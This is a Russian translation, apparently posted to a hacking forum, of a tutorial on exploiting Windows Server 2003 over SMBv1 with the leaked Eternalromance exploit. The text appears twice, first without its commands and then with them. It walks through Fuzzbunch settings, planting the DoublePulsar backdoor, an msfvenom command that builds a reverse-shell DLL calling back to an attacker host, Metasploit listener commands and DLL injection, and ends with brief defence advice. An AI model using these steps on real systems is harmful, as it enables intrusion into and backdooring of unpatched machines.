Eternalromance - это еще один эксплоит SMBv1 из коллекции утечек NSA, предназначенный для Windows XP/Vista/7 и Windows Server 2003 и 2008. В последнем уроке по взлому мы продемонстрировали, как неаутентифицированные атаки могут эксплуатировать цель Windows 7, уязвимую для Eternalblue, используя Fuzzbunch, DoublePulsar и Empire. В этом туториале мы продемонстрируем, как эксплуатировать 2003 R2 SP2 Enterprise, используя Eternalromance в Fuzzbunch. Процесс эксплоитинга очень похож на Eternalblue за исключением того, что мы должны использовать DoublePulsar для генерации шеллкода, который будет использоваться эксплоитом Eternalromance. Любой другой шеллкод, кроме DoublePulsar, не будет работать и вызывает BSOD.
Прежде чем мы начнем эксплуатировать Eternalromance, мы рассмотрим лабораторные настройки, которые мы будем использовать в этом туториале. Затем мы будем использовать вспомогательный модуль Metasploit, чтобы проверить, была ли пропатчена цель или нет. Наконец, мы установим бэкдор DoublePulsar с помощью эксплоита Eternalromance на компьютере с Windows Server 2003 и используем его для внедрения полезной нагрузки Meterpreter, которая даст нам оболочку на цели.
Настройка лаборатории Eternalromance
Лабораторная установка будет очень похожа на ту, которую мы использовали в уроке Eternalblue. Мы будем использовать следующие машины:
Для этого туториала у нас уже есть установленные на лабораторных машинах нужные компоненты, необходимые для запуска Fuzzbunch. Необходимо установить следующие компоненты для атакующей машины Windows 7:
Ознакомьтесь с руководством по эксплуатации Eternalblue для получения инструкций по установке Fuzzbunch и нужных компонентов. В этом туториале также приведены инструкции по настройке Fuzzbunch и некоторые способы устранения распространенных ошибок.
Обнаружение Metasploit MS17-010 SMB RCE
Чтобы определить, пропатчен ли MS17-010 или нет, мы можем использовать вспомогательный модуль Metasploit с именем MS17-010 SMB RCE Detection. Этот модуль подключается к дереву IPC$ и пытается выполнить транзакцию с FID 0. Если возвращен статус "STATUS_INSUFF_SERVER_RESOURCES", то на машине не установлен патч MS17-010. "STATUS_INSUFF_SERVER_RESOURCES" обычно возвращается, когда сервер не может выделить достаточно памяти для предпринятого запроса. Когда возвращается статус "STATUS_ACCESS_DENIED" или "STATUS_INVALID_HANDLE", то целевая машина пропатчила MS17-010 и/ или не уязвима. Кроме того, этот модуль также проверит хост на наличие существующих инфекций DoublePulsar.
Давайте запустим msfconsole и выполним следующие команды, чтобы проверить, пропатчила ли наша целевая машина MS17-010:
Как мы уже ожидали, чистая установка Windows 2003 Server уязвима для MS17-010. Обратите внимание, что Eternalromance также применяется к поддерживаемым операционным системам Windows, таким как Windows 7 и Windows Server 2008.Windows XP и Windows Server 2003 больше не поддерживаются, и поэтому патчи для этих операционных систем, скорее всего, никогда не будут выпущены.
Давайте продолжим, запустив Fuzzbunch на компьютере с Windows 7 и сгенерировав шелл-код DoublePulsar.
Шеллкод DoublePulsar
Прежде чем мы сможем запустить эксплойт Eternalromance, нам нужно сгенерировать шеллкод с помощью DoublePulsar. Выходной файл, содержащий шеллкод, будет использоваться эксплоитом Eternalromance для заражения цели бэкдором DoublePulsar. Когда бэкдор установлен в целевой системе, мы можем использовать его для запуска реверсшелла Meterpreter.
Давайте запустим Fuzzbunch и предоставим запрошенную информацию о целевом IP-адресе и IP-адресе обратного вызова. Выберите не использовать перенаправление и оставьте базовый каталог логов по умолчанию:
Следующим шагом является создание нового проекта, назовите его и выберите параметры ведения логов по умолчанию:
Введите следующую команду, чтобы активировать DoublePulsar:
Нажмите ввод, чтобы запросить переменные настройки:
Далее нам нужно указать некоторые переменные настройки, такие как архитектура, протокол и выходной файл. Для нашей лабораторной установки мы можем оставить большинство параметров по умолчанию, потому что целевая архитектура 32-битная x86, целевой протокол SMB и нам нужно вывести шелл-код в виде двоичного файла. Единственный параметр, который нам нужно изменить, это тот, который содержит полный путь к выходному файлу.
Оставьте все остальные параметры по умолчанию, нажав Enter и, наконец, запустите плагин DoublePulsar:
Если все прошло успешно, Fuzzbunch выводит, что DoublePulsar успешно выполняется и генерирует файл шелл-кода в указанном месте:
Следующим шагом является настройка и запуск эксплойта Eternalromance.
Настройка и исполнение Eternalromance
Теперь, когда у нас есть готовый двоичный файл оболочки DoublePulsar, мы можем запустить эксплойт Eternalromance. Введите следующую команду в Fuzzbunch, чтобы активировать эксплойт Eternalromance:
Вам будет предложено множество параметров конфигурации для Eternalromance. Выберите все параметры по умолчанию, пока вам не предложат запустить плагин:
Наконец вам будет предложено выполнить Smbtouch. Нажмите Enter, чтобы выполнить Smbtouch:
Smbtouch был успешно выполнен:
Следующим шагом является установка переменных для Eternalromance:
Далее вам снова будет предложено задать параметры переменной Eternalromance. Сохраняйте все настройки по умолчанию, пока вы не введете местоположение файла шеллкода. Убедитесь, что вы указали правильный путь к файлу шеллкода DoublePulsar:
Затем выберите все параметры по умолчанию, пока не появится запрос на указание целевой операционной системы. Выберите правильную целевую операционную систему здесь (в нашем случае мы выбираем вариант 6 - Windows Server 2003 SP2):
Fuzzbunch подготовит эксплойт Eternalromance к исполнению. Выберите IP-адрес назначения и порт по умолчанию и выполните плагин:
Если все прошло успешно, вывод в Fuzzbunch выглядит следующим образом:
Как показывает последняя строка, эксплойт Eternalromance был успешно выполнен для нашей цели Windows Server 2003. Следующим шагом является внедрение полезной нагрузки реверс шелла. Для этой цели мы будем использовать бэкдор DoublePulsar. Это то, что мы уже продемонстрировали в обучающем туториале Eternalblue с использованием фреймворка Empire и Meterpreter. В этом туториале мы быстро пройдемся по процессу и создадим обратную реверсшелл с помощью msfvenom.
Получаем шелл
Следующие шаги включают шаги по получению оболочки на целевом сервере Windows 2003. Сначала мы сгенерируем реверсшелл с помощью MSFvenom. Затем мы настроим слушателя для перехвата реверсшелла, используя msfconsole и эксплойт с несколькими обработчиками. Наконец, мы инжектируем dll реверсшелла с помощью DoublePulsar, которая запустит реверсшелл с хоста сервера Windows 2003 в окно Kali Linux.
Реверсшелл с помощью MSFvenom
Давайте переключимся на нашу машину для атаки на Kali Linux и с помощью следующей команды создадим реверсшелл с помощью msfvenom:
Настройте слушателя в msfconsole
Запустите msfconsole и используйте следующие команды для настройки слушателя:
Инжектирование реверсшелла DLL с помощью DoublePulsar
Теперь, когда наш слушатель работает на порту 4444, сгенерировал полезную нагрузку реверсшелла и наша цель заражена бэкдором Doublepulsar, мы можем внедрить полезную нагрузку обратной оболочки. Чтобы инжектировать полезную нагрузку реверсшелла, сначала нам нужно снова активировать DoublePulsar с помощью следующей команды:
Вам снова будет предложено указать переменные для DoublePulsar. Снова выбирайте все настройки по умолчанию, пока вас не попросят указать операцию, которую должен выполнить бэкдор DoublePulsar. Вместо параметра по умолчанию, который выводит двоичный файл шеллкода, выберите вариант 2, чтобы внедрить файл DLL. Затем вам будет предложено указать полный путь к файлу DLL для инъекции. Предполагая, что вы уже перенесли вредоносный файл DLL в окно Windows 7, введите полный путь к файлу DLL, который мы создали ранее с помощью MSFvenom. Оставьте все остальные настройки по умолчанию.
Наконец вам будет предложено запустить плагин DoublePulsar, нажмите Enter, чтобы запустить DoublePulsar. Если все прошло успешно, Fuzzbunch выдаст следующее:
И у нас должна появится оболочка Meterpreter на машине атаки Kali Linux:
Защита
Как уже упоминалось ранее в этом туториале, Windows Server 2003 больше не поддерживается Microsoft. По этой причине Windows Server 2003 и Windows XP не будут получать обновления, исправляющие эту и другие уязвимости SMBv1. Если ваша организация по-прежнему использует сервер Windows 2003 и системы Windows XP, убедитесь, что вы отключили SMBv1 или используете IDS/IPS для обнаружения бэкдоров DoublePulsar.
Источник: https://www.hackingtutorials.org/exploit-tutorials/eternalromance-exploiting-windows-server-2003/
Автор перевода: yashechka
Переведено специально для портала xss.pro (c)
Прежде чем мы начнем эксплуатировать Eternalromance, мы рассмотрим лабораторные настройки, которые мы будем использовать в этом туториале. Затем мы будем использовать вспомогательный модуль Metasploit, чтобы проверить, была ли пропатчена цель или нет. Наконец, мы установим бэкдор DoublePulsar с помощью эксплоита Eternalromance на компьютере с Windows Server 2003 и используем его для внедрения полезной нагрузки Meterpreter, которая даст нам оболочку на цели.
Настройка лаборатории Eternalromance
Лабораторная установка будет очень похожа на ту, которую мы использовали в уроке Eternalblue. Мы будем использовать следующие машины:
- Windows 2003 R2 SP2 Enterprise 32-разрядная версия как уязвимый хост. IP: 10.11.1.253
- Windows 7 32-битная, как первая машина для атак, на которой работает Fuzzbunch. IP: 10.11.1.251
- Kali Linux 2017.1 - как вторая машина атаки, которую мы будем использовать для установки оболочки Meterpreter. IP: 10.11.1.17
Для этого туториала у нас уже есть установленные на лабораторных машинах нужные компоненты, необходимые для запуска Fuzzbunch. Необходимо установить следующие компоненты для атакующей машины Windows 7:
- Python 2.6
- PyWin32 v212
Ознакомьтесь с руководством по эксплуатации Eternalblue для получения инструкций по установке Fuzzbunch и нужных компонентов. В этом туториале также приведены инструкции по настройке Fuzzbunch и некоторые способы устранения распространенных ошибок.
Обнаружение Metasploit MS17-010 SMB RCE
Чтобы определить, пропатчен ли MS17-010 или нет, мы можем использовать вспомогательный модуль Metasploit с именем MS17-010 SMB RCE Detection. Этот модуль подключается к дереву IPC$ и пытается выполнить транзакцию с FID 0. Если возвращен статус "STATUS_INSUFF_SERVER_RESOURCES", то на машине не установлен патч MS17-010. "STATUS_INSUFF_SERVER_RESOURCES" обычно возвращается, когда сервер не может выделить достаточно памяти для предпринятого запроса. Когда возвращается статус "STATUS_ACCESS_DENIED" или "STATUS_INVALID_HANDLE", то целевая машина пропатчила MS17-010 и/ или не уязвима. Кроме того, этот модуль также проверит хост на наличие существующих инфекций DoublePulsar.
Давайте запустим msfconsole и выполним следующие команды, чтобы проверить, пропатчила ли наша целевая машина MS17-010:
Bash:
use auxiliary/scanner/smb/smb_ms17_010
set rhosts 10.11.1.253
run
Как мы уже ожидали, чистая установка Windows 2003 Server уязвима для MS17-010. Обратите внимание, что Eternalromance также применяется к поддерживаемым операционным системам Windows, таким как Windows 7 и Windows Server 2008.Windows XP и Windows Server 2003 больше не поддерживаются, и поэтому патчи для этих операционных систем, скорее всего, никогда не будут выпущены.
Давайте продолжим, запустив Fuzzbunch на компьютере с Windows 7 и сгенерировав шелл-код DoublePulsar.
Шеллкод DoublePulsar
Прежде чем мы сможем запустить эксплойт Eternalromance, нам нужно сгенерировать шеллкод с помощью DoublePulsar. Выходной файл, содержащий шеллкод, будет использоваться эксплоитом Eternalromance для заражения цели бэкдором DoublePulsar. Когда бэкдор установлен в целевой системе, мы можем использовать его для запуска реверсшелла Meterpreter.
Давайте запустим Fuzzbunch и предоставим запрошенную информацию о целевом IP-адресе и IP-адресе обратного вызова. Выберите не использовать перенаправление и оставьте базовый каталог логов по умолчанию:
Следующим шагом является создание нового проекта, назовите его и выберите параметры ведения логов по умолчанию:
Введите следующую команду, чтобы активировать DoublePulsar:
use DoublePulsar
Нажмите ввод, чтобы запросить переменные настройки:
Далее нам нужно указать некоторые переменные настройки, такие как архитектура, протокол и выходной файл. Для нашей лабораторной установки мы можем оставить большинство параметров по умолчанию, потому что целевая архитектура 32-битная x86, целевой протокол SMB и нам нужно вывести шелл-код в виде двоичного файла. Единственный параметр, который нам нужно изменить, это тот, который содержит полный путь к выходному файлу.
Оставьте все остальные параметры по умолчанию, нажав Enter и, наконец, запустите плагин DoublePulsar:
Если все прошло успешно, Fuzzbunch выводит, что DoublePulsar успешно выполняется и генерирует файл шелл-кода в указанном месте:
Следующим шагом является настройка и запуск эксплойта Eternalromance.
Настройка и исполнение Eternalromance
Теперь, когда у нас есть готовый двоичный файл оболочки DoublePulsar, мы можем запустить эксплойт Eternalromance. Введите следующую команду в Fuzzbunch, чтобы активировать эксплойт Eternalromance:
use Eternalromance
Вам будет предложено множество параметров конфигурации для Eternalromance. Выберите все параметры по умолчанию, пока вам не предложат запустить плагин:
Наконец вам будет предложено выполнить Smbtouch. Нажмите Enter, чтобы выполнить Smbtouch:
Smbtouch был успешно выполнен:
Следующим шагом является установка переменных для Eternalromance:
Далее вам снова будет предложено задать параметры переменной Eternalromance. Сохраняйте все настройки по умолчанию, пока вы не введете местоположение файла шеллкода. Убедитесь, что вы указали правильный путь к файлу шеллкода DoublePulsar:
Затем выберите все параметры по умолчанию, пока не появится запрос на указание целевой операционной системы. Выберите правильную целевую операционную систему здесь (в нашем случае мы выбираем вариант 6 - Windows Server 2003 SP2):
Fuzzbunch подготовит эксплойт Eternalromance к исполнению. Выберите IP-адрес назначения и порт по умолчанию и выполните плагин:
Если все прошло успешно, вывод в Fuzzbunch выглядит следующим образом:
Как показывает последняя строка, эксплойт Eternalromance был успешно выполнен для нашей цели Windows Server 2003. Следующим шагом является внедрение полезной нагрузки реверс шелла. Для этой цели мы будем использовать бэкдор DoublePulsar. Это то, что мы уже продемонстрировали в обучающем туториале Eternalblue с использованием фреймворка Empire и Meterpreter. В этом туториале мы быстро пройдемся по процессу и создадим обратную реверсшелл с помощью msfvenom.
Получаем шелл
Следующие шаги включают шаги по получению оболочки на целевом сервере Windows 2003. Сначала мы сгенерируем реверсшелл с помощью MSFvenom. Затем мы настроим слушателя для перехвата реверсшелла, используя msfconsole и эксплойт с несколькими обработчиками. Наконец, мы инжектируем dll реверсшелла с помощью DoublePulsar, которая запустит реверсшелл с хоста сервера Windows 2003 в окно Kali Linux.
Реверсшелл с помощью MSFvenom
Давайте переключимся на нашу машину для атаки на Kali Linux и с помощью следующей команды создадим реверсшелл с помощью msfvenom:
Bash:
msfvenom -p windows/x64/meterpreter/reverse_tcp -f dll -a x86 –platform windows LHOST=192.168.1.17 LPORT=4444 > /var/www/html/meterpreter.dll
Настройте слушателя в msfconsole
Запустите msfconsole и используйте следующие команды для настройки слушателя:
Bash:
use exploit/multi/handler
set lhost 10.11.1.17
set lport 4444
run
Инжектирование реверсшелла DLL с помощью DoublePulsar
Теперь, когда наш слушатель работает на порту 4444, сгенерировал полезную нагрузку реверсшелла и наша цель заражена бэкдором Doublepulsar, мы можем внедрить полезную нагрузку обратной оболочки. Чтобы инжектировать полезную нагрузку реверсшелла, сначала нам нужно снова активировать DoublePulsar с помощью следующей команды:
Bash:
use DoublePulsar
Вам снова будет предложено указать переменные для DoublePulsar. Снова выбирайте все настройки по умолчанию, пока вас не попросят указать операцию, которую должен выполнить бэкдор DoublePulsar. Вместо параметра по умолчанию, который выводит двоичный файл шеллкода, выберите вариант 2, чтобы внедрить файл DLL. Затем вам будет предложено указать полный путь к файлу DLL для инъекции. Предполагая, что вы уже перенесли вредоносный файл DLL в окно Windows 7, введите полный путь к файлу DLL, который мы создали ранее с помощью MSFvenom. Оставьте все остальные настройки по умолчанию.
Наконец вам будет предложено запустить плагин DoublePulsar, нажмите Enter, чтобы запустить DoublePulsar. Если все прошло успешно, Fuzzbunch выдаст следующее:
И у нас должна появится оболочка Meterpreter на машине атаки Kali Linux:
Защита
Как уже упоминалось ранее в этом туториале, Windows Server 2003 больше не поддерживается Microsoft. По этой причине Windows Server 2003 и Windows XP не будут получать обновления, исправляющие эту и другие уязвимости SMBv1. Если ваша организация по-прежнему использует сервер Windows 2003 и системы Windows XP, убедитесь, что вы отключили SMBv1 или используете IDS/IPS для обнаружения бэкдоров DoublePulsar.
Источник: https://www.hackingtutorials.org/exploit-tutorials/eternalromance-exploiting-windows-server-2003/
Автор перевода: yashechka
Переведено специально для портала xss.pro (c)